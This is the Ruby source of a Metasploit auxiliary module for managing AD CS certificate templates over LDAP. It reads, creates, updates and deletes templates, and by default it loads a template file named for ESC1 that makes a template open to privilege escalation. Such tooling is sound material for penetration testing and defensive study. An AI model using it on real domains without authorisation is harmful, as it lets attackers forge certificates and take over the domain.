487 lines
17 KiB
Ruby
487 lines
17 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::LDAP
|
|
include Msf::Auxiliary::Report
|
|
|
|
IGNORED_ATTRIBUTES = [
|
|
'dn',
|
|
'distinguishedName',
|
|
'objectClass',
|
|
'cn',
|
|
'whenCreated',
|
|
'whenChanged',
|
|
'name',
|
|
'objectGUID',
|
|
'objectCategory',
|
|
'dSCorePropagationData',
|
|
'msPKI-Cert-Template-OID',
|
|
'uSNCreated',
|
|
'uSNChanged',
|
|
'displayName',
|
|
'instanceType',
|
|
'revision',
|
|
'msPKI-Template-Schema-Version',
|
|
'msPKI-Template-Minor-Revision',
|
|
].freeze
|
|
|
|
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID
|
|
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze
|
|
OWNER_SECURITY_INFORMATION = 0x1
|
|
GROUP_SECURITY_INFORMATION = 0x2
|
|
DACL_SECURITY_INFORMATION = 0x4
|
|
SACL_SECURITY_INFORMATION = 0x8
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'AD CS Certificate Template Management',
|
|
'Description' => %q{
|
|
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain
|
|
Controller.
|
|
|
|
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
|
|
restored using the CREATE or UPDATE actions.
|
|
},
|
|
'Author' => [
|
|
'Will Schroeder', # original idea/research
|
|
'Lee Christensen', # original idea/research
|
|
'Oliver Lyak', # certipy implementation
|
|
'Spencer McIntyre'
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/GhostPack/Certify' ],
|
|
[ 'URL', 'https://github.com/ly4k/Certipy' ]
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [
|
|
['CREATE', { 'Description' => 'Create the certificate template' }],
|
|
['READ', { 'Description' => 'Read the certificate template' }],
|
|
['UPDATE', { 'Description' => 'Modify the certificate template' }],
|
|
['DELETE', { 'Description' => 'Delete the certificate template' }]
|
|
],
|
|
'DefaultAction' => 'READ',
|
|
'Notes' => {
|
|
'Stability' => [],
|
|
'SideEffects' => [CONFIG_CHANGES],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
|
OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),
|
|
OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])
|
|
])
|
|
end
|
|
|
|
def ldap_get(filter, attributes: [], base: nil, controls: [])
|
|
base ||= @base_dn
|
|
raw_obj = @ldap.search(base: base, filter: filter, attributes: attributes, controls: controls).first
|
|
validate_query_result!(@ldap.get_operation_result.table)
|
|
return nil unless raw_obj
|
|
|
|
obj = {}
|
|
raw_obj.attribute_names.each do |attr|
|
|
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
|
|
end
|
|
|
|
obj
|
|
end
|
|
|
|
def run
|
|
ldap_connect do |ldap|
|
|
validate_bind_success!(ldap)
|
|
|
|
if (@base_dn = datastore['BASE_DN'])
|
|
print_status("User-specified base DN: #{@base_dn}")
|
|
else
|
|
print_status('Discovering base DN automatically')
|
|
|
|
unless (@base_dn = discover_base_dn(ldap))
|
|
fail_with(Failure::NotFound, "Couldn't discover base DN!")
|
|
end
|
|
end
|
|
@ldap = ldap
|
|
|
|
send("action_#{action.name.downcase}")
|
|
print_good('The operation completed successfully!')
|
|
end
|
|
rescue Rex::ConnectionError => e
|
|
print_error("#{e.class}: #{e.message}")
|
|
rescue Net::LDAP::Error => e
|
|
print_error("#{e.class}: #{e.message}")
|
|
end
|
|
|
|
def get_certificate_template
|
|
obj = ldap_get(
|
|
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",
|
|
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
|
|
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]
|
|
)
|
|
fail_with(Failure::NotFound, 'The specified template was not found.') unless obj
|
|
|
|
print_good("Read certificate template data for: #{obj['dn'].first}")
|
|
stored = store_loot(
|
|
'windows.ad.cs.template',
|
|
'application/json',
|
|
rhost,
|
|
dump_to_json(obj),
|
|
"#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",
|
|
"#{datastore['CERT_TEMPLATE']} Certificate Template"
|
|
)
|
|
print_status("Certificate template data written to: #{stored}")
|
|
obj
|
|
end
|
|
|
|
def get_domain_sid
|
|
return @domain_sid if @domain_sid.present?
|
|
|
|
obj = ldap_get('(objectClass=domain)', attributes: %w[name objectSID])
|
|
fail_with(Failure::NotFound, 'The domain SID was not found!') unless obj&.fetch('objectsid', nil)
|
|
|
|
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)
|
|
end
|
|
|
|
def get_pki_oids
|
|
return @pki_oids if @pki_oids.present?
|
|
|
|
raw_objs = @ldap.search(
|
|
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
|
|
filter: '(objectClass=msPKI-Enterprise-OID)'
|
|
)
|
|
validate_query_result!(@ldap.get_operation_result.table)
|
|
return nil unless raw_objs
|
|
|
|
@pki_oids = []
|
|
raw_objs.each do |raw_obj|
|
|
obj = {}
|
|
raw_obj.attribute_names.each do |attr|
|
|
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
|
|
end
|
|
|
|
@pki_oids << obj
|
|
end
|
|
@pki_oids
|
|
end
|
|
|
|
def get_pki_oid_displayname(oid)
|
|
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
|
|
return nil unless oid_obj && oid_obj['displayname'].present?
|
|
|
|
oid_obj['displayname'].first
|
|
end
|
|
|
|
def dump_to_json(template)
|
|
json = {}
|
|
|
|
template.each do |attribute, values|
|
|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
|
|
|
|
json[attribute] = values.map do |value|
|
|
value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
|
end
|
|
end
|
|
|
|
json.to_json
|
|
end
|
|
|
|
def load_from_json(json)
|
|
template = {}
|
|
|
|
JSON.parse(json).each do |attribute, values|
|
|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
|
|
|
|
template[attribute] = values.map do |value|
|
|
value.scan(/../).map { |x| x.hex.chr }.join
|
|
end
|
|
end
|
|
|
|
template
|
|
end
|
|
|
|
def load_from_yaml(yaml)
|
|
template = {}
|
|
|
|
YAML.safe_load(yaml).each do |attribute, value|
|
|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
|
|
|
|
if attribute.casecmp?('nTSecurityDescriptor')
|
|
unless value.is_a?(String)
|
|
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
|
|
end
|
|
|
|
# if the string only contains printable characters, treat it as SDDL
|
|
if value !~ /[^[:print:]]/
|
|
begin
|
|
vprint_status("Parsing SDDL text: #{value}")
|
|
descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: get_domain_sid)
|
|
rescue RuntimeError => e
|
|
fail_with(Failure::BadConfig, e.message)
|
|
end
|
|
|
|
value = descriptor.to_binary_s
|
|
elsif !value.start_with?("\x01".b)
|
|
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
|
|
end
|
|
end
|
|
|
|
value = [ value ] unless value.is_a?(Array)
|
|
template[attribute] = value.map(&:to_s)
|
|
end
|
|
|
|
template
|
|
end
|
|
|
|
def load_local_template
|
|
if datastore['TEMPLATE_FILE'].blank?
|
|
fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')
|
|
end
|
|
|
|
unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])
|
|
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')
|
|
end
|
|
|
|
file_data = File.read(datastore['TEMPLATE_FILE'])
|
|
if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')
|
|
load_from_json(file_data)
|
|
elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')
|
|
load_from_yaml(file_data)
|
|
else
|
|
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')
|
|
end
|
|
end
|
|
|
|
def ms_security_descriptor_control(flags)
|
|
control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber
|
|
[LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence
|
|
end
|
|
|
|
def action_create
|
|
dn = "CN=#{datastore['CERT_TEMPLATE']},"
|
|
dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'
|
|
dn << @base_dn
|
|
|
|
# defaults to create one from the builtin SubCA template
|
|
# the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted
|
|
attributes = {
|
|
'objectclass' => ['top', 'pKICertificateTemplate'],
|
|
'cn' => datastore['CERT_TEMPLATE'],
|
|
'instancetype' => '4',
|
|
'displayname' => datastore['CERT_TEMPLATE'],
|
|
'usncreated' => '16437',
|
|
'usnchanged' => '16437',
|
|
'showinadvancedviewonly' => 'TRUE',
|
|
'name' => datastore['CERT_TEMPLATE'],
|
|
'flags' => '66257',
|
|
'revision' => '5',
|
|
'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",
|
|
'pkidefaultkeyspec' => '2',
|
|
'pkikeyusage' => "\x86\x00".b,
|
|
'pkimaxissuingdepth' => '-1',
|
|
'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],
|
|
'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,
|
|
'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,
|
|
'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',
|
|
'dscorepropagationdata' => '16010101000000.0Z',
|
|
'mspki-ra-signature' => '0',
|
|
'mspki-enrollment-flag' => '0',
|
|
'mspki-private-key-flag' => '16',
|
|
'mspki-certificate-name-flag' => '1',
|
|
'mspki-minimal-key-size' => '2048',
|
|
'mspki-template-schema-version' => '1',
|
|
'mspki-template-minor-revision' => '1',
|
|
'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'
|
|
}
|
|
|
|
unless datastore['TEMPLATE_FILE'].blank?
|
|
load_local_template.each do |key, value|
|
|
key = key.downcase
|
|
next if %w[dn distinguishedname objectguid].include?(key)
|
|
|
|
attributes[key.downcase] = value
|
|
end
|
|
end
|
|
|
|
# can not contain dn, distinguishedname, or objectguid
|
|
print_status("Creating: #{dn}")
|
|
@ldap.add(dn: dn, attributes: attributes)
|
|
validate_query_result!(@ldap.get_operation_result.table)
|
|
end
|
|
|
|
def action_delete
|
|
obj = get_certificate_template
|
|
|
|
@ldap.delete(dn: obj['dn'].first)
|
|
validate_query_result!(@ldap.get_operation_result.table)
|
|
end
|
|
|
|
def action_read
|
|
obj = get_certificate_template
|
|
|
|
print_status('Certificate Template:')
|
|
print_status(" distinguishedName: #{obj['distinguishedname'].first}")
|
|
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].first.present?
|
|
if obj['objectguid'].first.present?
|
|
object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)
|
|
print_status(" objectGUID: #{object_guid}")
|
|
end
|
|
|
|
mspki_flag = obj['mspki-certificate-name-flag'].first
|
|
if mspki_flag.present?
|
|
mspki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
|
|
print_status(" msPKI-Certificate-Name-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
|
|
%w[
|
|
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
|
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME
|
|
CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
|
|
CT_FLAG_SUBJECT_ALT_REQUIRE_SPN
|
|
CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID
|
|
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
|
|
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
|
|
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
|
|
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
|
|
CT_FLAG_SUBJECT_REQUIRE_EMAIL
|
|
CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
|
|
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
|
CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME
|
|
].each do |flag_name|
|
|
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
|
|
print_status(" * #{flag_name}")
|
|
end
|
|
end
|
|
end
|
|
|
|
mspki_flag = obj['mspki-enrollment-flag'].first
|
|
if mspki_flag.present?
|
|
mspki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
|
|
print_status(" msPKI-Enrollment-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
|
|
%w[
|
|
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
|
|
CT_FLAG_PEND_ALL_REQUESTS
|
|
CT_FLAG_PUBLISH_TO_KRA_CONTAINER
|
|
CT_FLAG_PUBLISH_TO_DS
|
|
CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
|
|
CT_FLAG_AUTO_ENROLLMENT
|
|
CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT
|
|
CT_FLAG_USER_INTERACTION_REQUIRED
|
|
CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE
|
|
CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF
|
|
CT_FLAG_ADD_OCSP_NOCHECK
|
|
CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL
|
|
CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS
|
|
CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS
|
|
CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT
|
|
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST
|
|
CT_FLAG_SKIP_AUTO_RENEWAL
|
|
].each do |flag_name|
|
|
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
|
|
print_status(" * #{flag_name}")
|
|
end
|
|
end
|
|
end
|
|
|
|
mspki_flag = obj['mspki-private-key-flag'].first
|
|
if mspki_flag.present?
|
|
mspki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
|
|
print_status(" msPKI-Private-Key-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
|
|
%w[
|
|
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL
|
|
CT_FLAG_EXPORTABLE_KEY
|
|
CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED
|
|
CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM
|
|
CT_FLAG_REQUIRE_SAME_KEY_RENEWAL
|
|
CT_FLAG_USE_LEGACY_PROVIDER
|
|
CT_FLAG_ATTEST_NONE
|
|
CT_FLAG_ATTEST_REQUIRED
|
|
CT_FLAG_ATTEST_PREFERRED
|
|
CT_FLAG_ATTESTATION_WITHOUT_POLICY
|
|
CT_FLAG_EK_TRUST_ON_USE
|
|
CT_FLAG_EK_VALIDATE_CERT
|
|
CT_FLAG_EK_VALIDATE_KEY
|
|
CT_FLAG_HELLO_LOGON_KEY
|
|
].each do |flag_name|
|
|
if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
|
|
print_status(" * #{flag_name}")
|
|
end
|
|
end
|
|
end
|
|
|
|
mspki_flag = obj['mspki-ra-signature'].first
|
|
if mspki_flag.present?
|
|
mspki_flag = [obj['mspki-ra-signature'].first.to_i].pack('l').unpack1('L')
|
|
print_status(" msPKI-RA-Signature: 0x#{mspki_flag.to_s(16).rjust(8, '0')}")
|
|
end
|
|
|
|
if obj['pkiextendedkeyusage'].present?
|
|
print_status(' pKIExtendedKeyUsage:')
|
|
obj['pkiextendedkeyusage'].each do |value|
|
|
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
|
|
print_status(" * #{value} (#{oid.label})")
|
|
else
|
|
print_status(" * #{value}")
|
|
end
|
|
end
|
|
end
|
|
|
|
if obj['mspki-certificate-policy'].present?
|
|
if obj['mspki-certificate-policy'].length == 1
|
|
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?
|
|
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")
|
|
else
|
|
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")
|
|
end
|
|
else
|
|
print_status(' msPKI-Certificate-Policy:')
|
|
obj['mspki-certificate-policy'].each do |value|
|
|
if (oid_name = get_pki_oid_displayname(value)).present?
|
|
print_status(" * #{value} (#{oid_name})")
|
|
else
|
|
print_status(" * #{value}")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def action_update
|
|
obj = get_certificate_template
|
|
new_configuration = load_local_template
|
|
|
|
operations = []
|
|
obj.each do |attribute, value|
|
|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
|
|
|
|
if new_configuration.keys.any? { |word| word.casecmp?(attribute) }
|
|
new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last
|
|
unless value.tally == new_value.tally
|
|
operations << [:replace, attribute, new_value]
|
|
end
|
|
else
|
|
operations << [:delete, attribute, nil]
|
|
end
|
|
end
|
|
|
|
new_configuration.each_key do |attribute|
|
|
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
|
|
next if obj.keys.any? { |i| i.casecmp?(attribute) }
|
|
|
|
operations << [:add, attribute, new_configuration[attribute]]
|
|
end
|
|
|
|
if operations.empty?
|
|
print_good('There are no changes to be made.')
|
|
return
|
|
end
|
|
|
|
@ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)])
|
|
validate_query_result!(@ldap.get_operation_result.table)
|
|
end
|
|
end
|